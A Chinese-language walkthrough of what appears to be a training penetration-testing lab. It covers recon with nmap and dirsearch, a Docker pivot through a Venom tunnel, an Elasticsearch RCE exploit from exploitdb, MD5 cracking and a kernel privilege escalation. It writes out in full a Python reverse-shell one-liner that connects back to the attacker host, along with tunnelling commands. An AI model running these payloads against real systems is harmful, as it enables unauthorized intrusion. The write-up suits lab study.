第一周

信息收集

首先进行本地ARP探测,这里可以发现存活的其他主机。发现我们的目标为192.168.18.3

image-20230312100849909

进行端口探测

namp -p- ip  #全端口探测

image-20230312101120819

nmap -p22,5000 -sV ip  #具体服务探测

image-20230312101403750

这里可以发现这里5000端口是一个web服务。我们进去访问看一下。

image-20230312101847829

然后这里我们使用dirsearch扫描可以扫描到一个 admin的隐藏目录。

image-20230312104045341

打点

这里的话意思就是可以让我们执行一个python的代码,有这么一个环境。那么我们就可以监听本地端口。然后看一下是否可以反弹shell。

nc -nlvp 4444  #监听4444端口

image-20230312104137354

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

执行反弹shell的代码,注意这里/bin/sh不能是/bin/bash,可能是目标机器没有bash。

image-20230312104337290

这里可以看到直接给我们反弹回了一个root权限的shell,但是事情是不会这么简单的。我们可以发现在目录下存在一个Dockerfile文件,这个文件是Docker使用的文件,然后我们查看一下ip。

image-20230312112249015

ip也是跟我们直接攻击的ip不同,那么我们很有可能是进入了一个docker的环境,我们可以进一步确认。

cat /proc/1/cgroup   #proc是进程目录,1是初始化进程。我们可以看到docker相关的信息,那么100%确认是进入了docker环境

image-20230312112334575

我们这里需要对内网的主机进行存活探测了,可以使用shell脚本。

内网

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done  #ping1 到 10的ip

image-20230312113459533

可以看到1-3都是有回应的包,当然我们在这里只是扫了10台主机,在实战中我们需要全部扫描。

创建隧道

这里我们使用Venom

先在本机启动一个服务端

./admin_linux_x64 -lport 9999

image-20230313224734885

这里我们再使用python开启一个web服务,让服务器来下载我们的客户端。

image-20230313224917288

image-20230313225323361

然后先对客户端进行加权限操作

chmod +x agent_linux_64

然后再执行命令让它来连接我们的服务端

./agent_linux_x64 -rhost 192.168.18.4 -rport 9999

image-20230313225653139

然后来到服务端

image-20230313225811753

使用show命令我们可以看到有一个节点已经连接到了。然后我们可以进入到节点,然后启动一个socks代理。

image-20230313230248661

这里我们可以修改proxychains来达到全局代理的效果。

image-20230313230825370

这里我们修改一下这里的数据。

image-20230313230916131

信息收集

image-20230313231711927

我们后续使用工具的时候只需要在前面添加poxychains就可以通过代理去执行了。

我们在前面可以得知有其他的主机存活,我们可以对其他ip进行一个扫描。

proxychains nmap -sT -Pn 172.17.0.2

image-20230314161338549

这里对172.17.0.2扫描可以发现存在一个9200端口,我们对它进行更详细的探测。

proxychains nmap -sV -Pn -sT 172.17.0.2

image-20230314161549946

这里可以发现存在一个Elasticsearch服务,这里可以看到详细的版本。

打点

这里使用kali的searchsploit可以查找Elastucsearch的相关漏洞利用代码。

image-20230314162050574

第一个第二个可以看到是代码执行的漏洞,我们可以直接测试利用一下(实际情况我们可以去网络上搜集一下服务的版本再查找利用代码)

image-20230314162305800

这个服务的利用代码库在/usr/share/exploitdb/exploits

image-20230314162632484

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

这里就是将我们的利用代码copy到当前目录

image-20230314162736615

image-20230314162808268

它需要使用python2的环境去运行。

image-20230314162853689

挂上代码进行攻击。

image-20230314162912737

成功获取到shell

image-20230314162945858

这里可以看到存在一个密码文件,我们可以进行查看。

image-20230314163008870

但是这里是一个密码的hash值,这里就是经过了md5加密。这里结果的话就是只有john的账户可以使用,密码破解为1337hack,直接进行ssh的连接即可。

提权

image-20230314163434749

image-20230314164450255

我们查看可以发现这个linux的内核版本比较的低,应该会存在很多的提权漏洞。这里我们继续直接进行搜索。image-20230314165634249

这里有非常多可以进行利用的,这里就直接使用老师用的那个。

image-20230314165713330

这里也把他先copy到桌面。

image-20230314165746461

image-20230314165802131

然后我们需要查看一下这个源代码,里面我们需要改动一下代码。

image-20230314165843482

这里可以发现使用这个payload的话需要使用到gcc,但是目标机上并不存在gcc,这样就尴尬了。但是我们可以在本机编译好再上传,但是这个代码还是会调用到gcc,所以我们需要把它删掉一部分。

image-20230314170055745

我们把这一部分去除,但是这里发现它还会调用一个ofs-lib.so的文件,这个我们也需要一并上传。

image-20230314170211391

这里我们直接调用gcc进行编译,这里报错没有关系。

image-20230314170246600

image-20230314170339874

把这个文件也一起复制到桌面。

image-20230314170418133

然后老办法,通过开启python的http服务来让目标主动下载。

image-20230314170519026

image-20230314170717659

image-20230314170738315

然后执行exp即可获得root权限,但是我这里失败了,猜测是gcc版本过高,然后看一下果然有点高。然后我就放在ubuntu内编译了,然后再拿过来。

image-20230314171636420

image-20230314172351095

成功获取!!!。